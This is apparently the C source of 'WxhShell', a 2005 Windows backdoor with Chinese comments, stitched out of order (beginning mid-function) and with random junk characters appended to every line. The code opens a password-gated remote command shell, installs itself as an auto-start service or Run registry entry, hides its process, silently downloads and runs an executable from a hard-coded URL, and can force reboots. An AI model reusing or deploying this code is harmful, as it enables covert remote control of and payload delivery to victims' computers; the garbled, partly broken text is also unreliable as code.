    if(Boot(SHUTDOWN)) U^#?&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U~is-+Uq  
    else { Y^lQX~I2{  
    closesocket(wsh); N_'+B+U?  
    ExitThread(0); #a}N"*P  
    } fp !:u  
    break; L=A\ J^%  
    } =3+L#P=i9  
  // 获取shell l:e9y$_)  
  case 's': { q(9%^cV6  
    CmdShell(wsh); 4 eh=f!(+  
    closesocket(wsh); XoL[ r67Z  
    ExitThread(0); -ut=8(6&  
    break; =:K@zlO:  
  } .P/xs4  
  // 退出 +^Jwo)R'b  
  case 'x': { Xz1c6mX|o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8fO8Dob]\Y  
    CloseIt(wsh); XL"=vbD  
    break; v&0d$@6/U  
    } >q|Q-I~gs  
  // 离开 PZ]5Hf1"  
  case 'q': { Kdt|i93  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o<\6Rm  
    closesocket(wsh); LD.Ck6@  
    WSACleanup(); Z;*`f d?8  
    exit(1); v5Y@O|i#  
    break; &+;uZ-x  
        } cIZc:   
  } FLbZ9pX}  
  } Baq ~}B<  
[}k|  
  // 提示信息 & l^n4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BR3mAF  
} wixD\t59X  
  } rgR?wXW]jE  
NhlJ3/J j  
  return; y9 uVCR  
} i7v/A&Rc  
~= 9V v  
// shell模块句柄 02M7gBS  
int CmdShell(SOCKET sock) /#\?1)jCK  
{ gH H&IzHF  
STARTUPINFO si; `1,eX)S  
ZeroMemory(&si,sizeof(si));  HD|sr{Z%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F?2FITi_V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qRUCnCZs  
PROCESS_INFORMATION ProcessInfo; 'wE\{1~_[+  
char cmdline[]="cmd"; ]L]T>~X`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |>JmS  
  return 0; 24|<<Xn  
} 3;D?|E]1  
a(Sv,@/  
// 自身启动模式 d<Dn9,G  
int StartFromService(void) L w*1 .~  
{ Em9my2oE  
typedef struct R#fy60  
{ ;y>'yq}  
  DWORD ExitStatus; Jk~UEqr+  
  DWORD PebBaseAddress; >Jiij  
  DWORD AffinityMask; [;F{mN  
  DWORD BasePriority; VD4S_qx  
  ULONG UniqueProcessId; yA0Y 14\*  
  ULONG InheritedFromUniqueProcessId; E 8^sy*f  
}   PROCESS_BASIC_INFORMATION; 6=BZ~ed  
'Z$jBL  
PROCNTQSIP NtQueryInformationProcess; g5<ZS3tQ  
,*w>z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jmy)J!ib*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y3AL)  
:+1bg&wQ  
  HANDLE             hProcess; JOgmF_(>Z  
  PROCESS_BASIC_INFORMATION pbi; f-s~Q 4  
kI]=&Rw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { "}+V`O{  
  if(NULL == hInst ) return 0; 7(5]Ry:  
yHtGp%j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `x< 0A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (V^QQ !:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [BE:+ ID3  
)_F(H)*  
  if (!NtQueryInformationProcess) return 0; h+ TB]  
K9}jR@jy$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6i^0T  
  if(!hProcess) return 0; ~CulFxu  
(A|B@a!Y>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LNbx3W oC  
|oFI[PE  
  CloseHandle(hProcess); O{*GW0}55  
/o'oF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i!y\WaCp  
if(hProcess==NULL) return 0; d^_itC;-,  
f0g6g!&gf  
HMODULE hMod; =X<)5IS3  
char procName[255]; xz="|HD);  
unsigned long cbNeeded; BMe72  
myffYK,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NH<Y1t  
"@aq@mY@  
  CloseHandle(hProcess); 55(J&q  
WNl&v]   
if(strstr(procName,"services")) return 1; // 以服务启动 \;'_|bu3.  
;}$Z 80  
  return 0; // 注册表启动 k`{RXx  
} .59KE]u  
K%kXS  
// 主模块 aViJ   
int StartWxhshell(LPSTR lpCmdLine) 4|I7:~  
{ WFQ*s4 R(  
  SOCKET wsl; q.U*X5  
BOOL val=TRUE; !4i,%Z& 6  
  int port=0; b*@&c9I;q  
  struct sockaddr_in door; 0@JilGk1u  
Cca~Cq[%*(  
  if(wscfg.ws_autoins) Install(); >2 FAi.,  
+.XZK3  
port=atoi(lpCmdLine); Ks9FnDm8  
#_JA5W+E  
if(port<=0) port=wscfg.ws_port; Qd 9-u)L<  
6@*5! ,  
  WSADATA data; (9Fabo\SH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F]/L!   
1kbT@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f%`*ba" v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Ac}R'  
  door.sin_family = AF_INET; &Bj,.dD/a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K'a#Mg  
  door.sin_port = htons(port); 'Wo?%n  
ocb%&m ;i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !hwzKm=%N  
closesocket(wsl); ^aGZJiyJ  
return 1; 3P%w-qT!N  
} |G|*  
=$&7IQ?  
  if(listen(wsl,2) == INVALID_SOCKET) { \7OJN ~&<  
closesocket(wsl); H ={O13  
return 1; H5 p}Le  
} V)_H E  
  Wxhshell(wsl); ^.ZSpc}<  
  WSACleanup(); JUe K"|fA  
CwTS/G  
return 0; 0BbiQXU  
!$%/ rQ9  
} [q0_7  
u|]mcZ,ZW  
// 以NT服务方式启动 ] P:NnKgK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [=]+lei  
{ 7,) 67G;  
DWORD   status = 0; )*psDjZ7*  
  DWORD   specificError = 0xfffffff; 12%z3/i  
h(+m<J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~`nm<   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =;'ope(?S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F[o+p|nF  
  serviceStatus.dwWin32ExitCode     = 0; &hSnB~hi  
  serviceStatus.dwServiceSpecificExitCode = 0; 2)HxW}o  
  serviceStatus.dwCheckPoint       = 0; XvfcPI6  
  serviceStatus.dwWaitHint       = 0; 7eaA]y~H  
yDu yMt#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); > {'5>6u  
  if (hServiceStatusHandle==0) return; j?d;xj  
-D&.)N9ctQ  
status = GetLastError(); CS^ oiV%{s  
  if (status!=NO_ERROR) 1B9Fb.i  
{ '$2oSd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8|S1|t,  
    serviceStatus.dwCheckPoint       = 0; FOlA* U4U  
    serviceStatus.dwWaitHint       = 0; N+C%Z[gt[  
    serviceStatus.dwWin32ExitCode     = status; >Rl0%!  
    serviceStatus.dwServiceSpecificExitCode = specificError; O]$*EiO\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ywnyh  
    return; onWYT}c{  
  } pAUfG^v  
zezofW]a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a`[?,W:q  
  serviceStatus.dwCheckPoint       = 0; |2t7G9[n  
  serviceStatus.dwWaitHint       = 0; VrAXOUJw6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0,"n-5Im  
} u@:=qd=\  
{LMS~nx  
// 处理NT服务事件,比如:启动、停止 4acP*LkkQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9" }^SI8  
{ Z,N7nMJf  
switch(fdwControl) <manv8*6  
{ 3H\b N4  
case SERVICE_CONTROL_STOP: e@2E0u4  
  serviceStatus.dwWin32ExitCode = 0; ;QvvU[eb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; laD.or  
  serviceStatus.dwCheckPoint   = 0; & 8:iB {n  
  serviceStatus.dwWaitHint     = 0; [`Qp;_K?t  
  { Gct&}]3pm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%q ctZy  
  } YP .%CD(K  
  return; VAF:Z  
case SERVICE_CONTROL_PAUSE: R.T?ZF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ki*79d"$  
  break; "I}'C^gP  
case SERVICE_CONTROL_CONTINUE: Y|x6g(b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Us@ {w`T  
  break; 6/V{>MTZg  
case SERVICE_CONTROL_INTERROGATE: bz}AO))Hk  
  break; xRTg [  
}; vBCZ/F[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p)[ BB6E  
} "$,}|T?Y`  
NBbY## w0  
// 标准应用程序主函数 @tjZvRtZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %xbz&'W,  
{ 2'O!~8U  
yaYIgG  
// 获取操作系统版本 J7 *G/F  
OsIsNt=GetOsVer(); UtGd/\:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n/-p;#R  
2Xj-A\Oh~  
  // 从命令行安装 qu#@F\gX  
  if(strpbrk(lpCmdLine,"iI")) Install(); S#0|#Z5qD  
[V#&sAe  
  // 下载执行文件 0-&s J  
if(wscfg.ws_downexe) { 5Ky9Pz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e G*s1uQl  
  WinExec(wscfg.ws_filenam,SW_HIDE); EDa08+Y  
} U7f&N  
NkjQyMF  
if(!OsIsNt) { No92Y^~/  
// 如果时win9x,隐藏进程并且设置为注册表启动 OL mBh3&  
HideProc(); ;hfG$ {l;  
StartWxhshell(lpCmdLine); |+4E 8;4_  
} 31o7R &v  
else [}xIg8  
  if(StartFromService()) 9>$%F;JP44  
  // 以服务方式启动 <g|nmu)o$  
  StartServiceCtrlDispatcher(DispatchTable); 9(FcA5Y  
else ]a%\Q 2[c  
  // 普通方式启动 CDTk  
  StartWxhshell(lpCmdLine); zm)CfEF 8  
^) b7m  
return 0; WE Svkm;  
} ]K0,nj*\c  
-)->Jx:{  
pS|JDMo  
<x%my4M  
=========================================== loqS?bC ]  
-WHwz m  
\<MTY:  
a\.OL}"   
8`LLHX1|  
!f]3Riw-=,  
" J\,e/{,X  
hoD[wAC  
#include <stdio.h> 5-QvQ&eH.  
#include <string.h> Rp@}9qijb  
#include <windows.h> "d^lS@~  
#include <winsock2.h> px(1Ppb9  
#include <winsvc.h> |#k hwH  
#include <urlmon.h> Nno={i1jk  
~pBxFA  
#pragma comment (lib, "Ws2_32.lib") /RULPd PH  
#pragma comment (lib, "urlmon.lib") k^%TJ.y@  
 ;;"c+  
#define MAX_USER   100 // 最大客户端连接数 5A=xFj{  
#define BUF_SOCK   200 // sock buffer !E>3N:  
#define KEY_BUFF   255 // 输入 buffer "F.J>QBd  
O 9 Au =  
#define REBOOT     0   // 重启 HIp {< M3  
#define SHUTDOWN   1   // 关机 Rx"VscB6z  
[r< Y0|l,m  
#define DEF_PORT   5000 // 监听端口 V{aIhH>P  
}y=n#%|i.  
#define REG_LEN     16   // 注册表键长度 k3|9U'r!c  
#define SVC_LEN     80   // NT服务名长度 b!tZbX#  
u #QSa$P  
// 从dll定义API [?r\b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Kz` O>"6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ah@GSu;7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U>M>FZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ljR?* P  
* jNu?$  
// wxhshell配置信息 _q!ck0_  
struct WSCFG { B(vz$QE,$r  
  int ws_port;         // 监听端口 H(ftOd.y  
  char ws_passstr[REG_LEN]; // 口令 %KVRiX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5>k~yaju/  
  char ws_regname[REG_LEN]; // 注册表键名 <HX-qNA?  
  char ws_svcname[REG_LEN]; // 服务名 rN!9&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UtW3KvJ#=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +wgUs*(W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fe>#}-`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O!cO/]<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &7y1KwfXn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WRyv >Y  
`fE:5y  
}; ` ];[T=  
9(Xch2tpO!  
// default Wxhshell configuration Fl(ZKpSZU  
struct WSCFG wscfg={DEF_PORT, 5TW<1'u  
    "xuhuanlingzhe", $G([#N<  
    1, gmH0-W)=  
    "Wxhshell", HE .Dl7 {  
    "Wxhshell", p.7p,CyB  
            "WxhShell Service", RPqn#B  
    "Wrsky Windows CmdShell Service", ZFw743G  
    "Please Input Your Password: ", @[ N~;>  
  1, sN/Xofh  
  "http://www.wrsky.com/wxhshell.exe", ]tV{#iIJ*  
  "Wxhshell.exe" leqSS}KU+  
    }; CMf~Yv  
j{+I~|ZB,  
// 消息定义模块 H ;}ue  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C2%3+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *m Tc4&*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R}mWHB_h"  
char *msg_ws_ext="\n\rExit."; UVRV7^eTe  
char *msg_ws_end="\n\rQuit."; 7`n8 OR4  
char *msg_ws_boot="\n\rReboot..."; `)_FO]m}jS  
char *msg_ws_poff="\n\rShutdown..."; 24k}~"We  
char *msg_ws_down="\n\rSave to "; p+1B6j  
H0Xda.Y(  
char *msg_ws_err="\n\rErr!"; pNme jz:  
char *msg_ws_ok="\n\rOK!"; E$fy*enON  
{.'g!{SHp  
char ExeFile[MAX_PATH]; E*]L]vR  
int nUser = 0; 3JO:n6  
HANDLE handles[MAX_USER]; B ~bU7.Cd  
int OsIsNt; 3gXUfv2ID  
&%51jM<  
SERVICE_STATUS       serviceStatus; A)0m~+?{J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'n`$c{N<tM  
, Vr6  
// 函数声明 w0OK. fj  
int Install(void); obkv ]~  
int Uninstall(void); a'.=.eDQ  
int DownloadFile(char *sURL, SOCKET wsh); \shoLp   
int Boot(int flag); 5%$kAJZC-  
void HideProc(void); <t2?Oii;  
int GetOsVer(void); D#(Pg  
int Wxhshell(SOCKET wsl); ^8t*WphZC  
void TalkWithClient(void *cs); vx,6::%]  
int CmdShell(SOCKET sock); )CU(~s|s  
int StartFromService(void); ov}{UP]a?  
int StartWxhshell(LPSTR lpCmdLine); l1j   
Cf 8 - %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V#FLxITk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g4932_tC  
Wsz9X;  
// 数据结构和表定义 (bXp1*0 ;  
SERVICE_TABLE_ENTRY DispatchTable[] = ?["ZEa  
{ zXO.NSC[  
{wscfg.ws_svcname, NTServiceMain}, 'Pn`V{a  
{NULL, NULL} F.w#AV  
}; B9 {DO  
QpZhxp  
// 自我安装 A~t7I{`  
int Install(void) 4iPg_+  
{ }jXUd=.Nu  
  char svExeFile[MAX_PATH]; 7m$/.\5  
  HKEY key; =sJHnWL[  
  strcpy(svExeFile,ExeFile); 8BdeqgU/_  
kF7Al]IgT  
// 如果是win9x系统,修改注册表设为自启动 Yf9L~K  
if(!OsIsNt) { B)iJH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [! o -F;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l#:Q V:  
  RegCloseKey(key); a_x6 v*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9dv~WtH>5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 247>+:7z  
  RegCloseKey(key); mI18A#[ 3  
  return 0; 8gdOQ=a  
    } )HHzvGsL)  
  } S]{Z_|h*j  
} YDL)F<Y  
else { Gj?q+-d!(5  
]].21  
// 如果是NT以上系统,安装为系统服务 O2B$c\pw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r3)t5P*_  
if (schSCManager!=0) %dQX d ]  
{ p*,mwKN:  
  SC_HANDLE schService = CreateService z AIC5fvu  
  ( S^.=j oI  
  schSCManager, YEj U3^@  
  wscfg.ws_svcname, LdL\B0^l  
  wscfg.ws_svcdisp, mLqm83  
  SERVICE_ALL_ACCESS, h)8_sC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .42OSV  
  SERVICE_AUTO_START, :-8u*5QK]`  
  SERVICE_ERROR_NORMAL,  '%4,!  
  svExeFile, z@j&vW  
  NULL, .j.=|5nVo4  
  NULL, &3. 8i%  
  NULL, `XP Tf#9j  
  NULL, w5Z3e^g  
  NULL gsH_pG-jU  
  ); .?TVBbc%5  
  if (schService!=0) \k8_ZJw  
  { }#M|3h;q9+  
  CloseServiceHandle(schService); TjdYCk]'  
  CloseServiceHandle(schSCManager); .BvV[`P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IU}`5+:m  
  strcat(svExeFile,wscfg.ws_svcname); :|TBsd|/x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $+j )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a{=~#u8  
  RegCloseKey(key); MJoC*8QxM  
  return 0; ~]Jfg$'  
    } fQh!1R  
  } ,#{aAx|]  
  CloseServiceHandle(schSCManager); D1a4+AyI  
} vbU{Et\ ^  
} !k^\`jMzw  
+{Ttv7l_2  
return 1; ,q1RJiR  
} FE.:h'^h  
B'yrXa|P  
// 自我卸载 4P5wEqU.<  
int Uninstall(void) 5Ml}m  
{ k,J?L-F  
  HKEY key; #Bjnz$KB  
Qpc>5p![3  
if(!OsIsNt) { v>6r|{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t s&C0  
  RegDeleteValue(key,wscfg.ws_regname); Y`v&YcX;  
  RegCloseKey(key); %!RQ:?=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lDzVc`c  
  RegDeleteValue(key,wscfg.ws_regname); RY&~{yl$"1  
  RegCloseKey(key); 5{UGSz 1  
  return 0; GzX@Av$  
  } S6uBk"V!  
} O #"O.GX<  
} $oz ZFvJF  
else { 3$TpI5A  
\} 5\^&}_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wk?XlCj  
if (schSCManager!=0) nBd;d}LD  
{ Cb<\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "cZ.86gG`:  
  if (schService!=0) *!r8HV/<  
  { <v?-$3YT  
  if(DeleteService(schService)!=0) { n$>H}#q  
  CloseServiceHandle(schService); 3mWN?fC  
  CloseServiceHandle(schSCManager); *hba>LZ  
  return 0; sE% n=Ww  
  } rHznXME$wZ  
  CloseServiceHandle(schService); /C"E*a  
  } a"EXR-+8  
  CloseServiceHandle(schSCManager); MWB?V?qPSC  
} :hr%iu  
} 8@!SM  
xM(  
return 1; G 8@%)$A  
} | =&r) ~  
pdM|dGq^  
// 从指定url下载文件 |"arVde  
int DownloadFile(char *sURL, SOCKET wsh) (Xx @_  
{ zT@vji%Y  
  HRESULT hr; mYZH]oo  
char seps[]= "/"; U<t Qj`  
char *token; 0>vm&W<?)  
char *file; iVA_a8}  
char myURL[MAX_PATH]; k~R_Pq S  
char myFILE[MAX_PATH]; JP#m} W  
~dv C$   
strcpy(myURL,sURL); IaW8  
  token=strtok(myURL,seps); ?AR6+`0  
  while(token!=NULL) (5SI! 1N  
  { % tpjy,  
    file=token;  (1ebE  
  token=strtok(NULL,seps); K:y>wyzl  
  } )s M}BY  
f_}55?i0  
GetCurrentDirectory(MAX_PATH,myFILE);  u >x2  
strcat(myFILE, "\\"); 3.soCyxmc  
strcat(myFILE, file); LGK}oL'  
  send(wsh,myFILE,strlen(myFILE),0); I3$v-OiL  
send(wsh,"...",3,0); 7l?-2I'c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `*! .B  
  if(hr==S_OK) nRvV+F0#  
return 0; F4*f_lP  
else 9K)2OX;$w  
return 1; MYu-[Hg  
% L]xar  
} Mv_4*xVc  
0&<{o!>k  
// 系统电源模块 O\x Uv  
int Boot(int flag) !5pp A  
{ cdk;HK_Ve.  
  HANDLE hToken; qr :[y  
  TOKEN_PRIVILEGES tkp; s:M:Ff  
H}A67J9x  
  if(OsIsNt) { Oa{M9d,l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]^dXB 0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?(F~9 V  
    tkp.PrivilegeCount = 1; \;4RD$J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RP6QS)|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q0Fy$e]u  
if(flag==REBOOT) { WKP=[o^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iidK}<o  
  return 0; P'zA=Rd&~>  
} 97Whn*  
else { iYFM@ta  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VEJ Tw  
  return 0; *T 6<'a  
} vAX %i(4  
  } %ePInpb  
  else { F&Q:1`y  
if(flag==REBOOT) { R6!t2gdKe@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wqJH  
  return 0; VsFRG;:\U  
} t~e.LxN  
else { [(]uin+9Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *PD7H9m  
  return 0; ;R}:2  
} IU&n!5d$)|  
} yYF%U7N/n  
po!0j+r3  
return 1; PE-Vx RN)  
} -GQ`n01  
wTqgH@rGtR  
// win9x进程隐藏模块 x]w%?BlS  
void HideProc(void) *&!&Y*Jzg  
{ T2GJoJ!  
u`7\o~$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h ~v8Q_6  
  if ( hKernel != NULL ) DdPU\ ZWR  
  { Lk4gjs,V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ #Vrf0w/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=aj)lemCr  
    FreeLibrary(hKernel); o#CNr5/  
  } =#^\ 9|?$  
]v$VZ '  
return; eWE7>kwh  
} 624l5}@:  
'jqkDPn  
// 获取操作系统版本 6ID@0  
int GetOsVer(void) l.El3+  
{ (6!W8x7  
  OSVERSIONINFO winfo; !np-Jmi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L~=h?C<  
  GetVersionEx(&winfo); c#Y/?F2p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VM88#^  
  return 1; ~}+F$&  
  else gM&XVhQJ\  
  return 0; *i?#hTw  
} :.J Ad$>P  
Gg8F>y<[R  
// 客户端句柄模块 l*^c?lp)  
int Wxhshell(SOCKET wsl) u8 Q`la  
{  YH@p\#Y  
  SOCKET wsh; <BEM`2B  
  struct sockaddr_in client; /{|JQ'gqX  
  DWORD myID; ,'Zs")Ydp  
V\vt!wBcB  
  while(nUser<MAX_USER) IZn|1X?}\s  
{ IN~Q(A]Z%  
  int nSize=sizeof(client); 7a\at)q/y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )lwxF P;  
  if(wsh==INVALID_SOCKET) return 1; \  2#7B8  
,=jwQG4wq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [`2V!rU  
if(handles[nUser]==0) b9X"p*'p  
  closesocket(wsh); ) G a5c  
else gw O]U=Y  
  nUser++; +~Wg@   
  } m -]E|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $MhfGMk!'  
O4t0 VL$  
  return 0; K+|G9  
} lsq\CavbM  
L.X"wIs^  
// 关闭 socket wN Mf-~  
void CloseIt(SOCKET wsh) Qa>t$`o`  
{ 21_sg f?  
closesocket(wsh); &!N9.e:-]  
nUser--; %0&59q]LM  
ExitThread(0); Klrd|;C  
} YMXhzqj  
@^R6}qJ  
// 客户端请求句柄 NAgm?d  
void TalkWithClient(void *cs) =e*S h0dK  
{ hX4 V}kj  
E7 mB=bt>=  
  SOCKET wsh=(SOCKET)cs; 3'2>3Y/7Bb  
  char pwd[SVC_LEN]; `cgyiJ  
  char cmd[KEY_BUFF]; sYa;vg4[  
char chr[1]; <Ukeq0  
int i,j; Smg z}  
Zmx[:-  
  while (nUser < MAX_USER) { ` "Lk@  
o=C:=  
if(wscfg.ws_passstr) { 0Sx$6:-~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qg1tDN`s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); efN5(9*9R  
  //ZeroMemory(pwd,KEY_BUFF); T]oVNy  
      i=0; zPm|$d  
  while(i<SVC_LEN) { tw k  
?hBjq  
  // 设置超时 erlg\-H   
  fd_set FdRead; YUjKOPN  
  struct timeval TimeOut; OJ?U."Lxm$  
  FD_ZERO(&FdRead); N.'-9hv  
  FD_SET(wsh,&FdRead); D4Z7j\3a  
  TimeOut.tv_sec=8; 1EiSxf  
  TimeOut.tv_usec=0; ({$>o]<h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9w!PA-) L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zoibinm}Eg  
OjWg>v\ v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kltorlH  
  pwd=chr[0]; JO-FnoQK  
  if(chr[0]==0xd || chr[0]==0xa) { @PzRHnT*  
  pwd=0; %1\~OnT  
  break; #kQ1,P6,(  
  } >lkjoEVQ  
  i++; /JjSx/  
    } YgV"*~  
,8@q2a/  
  // 如果是非法用户,关闭 socket %t*KP=@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); # KUN ZW  
} XcFu:B  
weH;,e*r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N1fPutl$a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lK Ry4~O  
VPvQ]}g6k  
while(1) { 0JE*|CtK  
ec h1{v\B|  
  ZeroMemory(cmd,KEY_BUFF); U{ 52bH<  
AB+HyZ*//  
      // 自动支持客户端 telnet标准   \ lW*.<  
  j=0; T-F8[dd^/  
  while(j<KEY_BUFF) { :d1Kq _\K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ovk^  
  cmd[j]=chr[0]; W4#E&8g%  
  if(chr[0]==0xa || chr[0]==0xd) { ^V0I!&7lx  
  cmd[j]=0; [hJ ASX9  
  break; b Bkg/p]  
  } n,#o6ali>  
  j++; ]u|5ZCv0  
    } s:xt4<  
nTv^][  
  // 下载文件 &8HJ4Vj2  
  if(strstr(cmd,"http://")) { +8}8b_bgH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *RD<*l  
  if(DownloadFile(cmd,wsh)) ~--b#o{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[UaK`/1C  
  else /"@k_[O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LS/ZZAN u  
  } ra F+Bt`  
  else { NQx>u  
W~& QcSWqD  
    switch(cmd[0]) { g oZw![4l  
  CqLAtS X7  
  // 帮助 :DJLkMP  
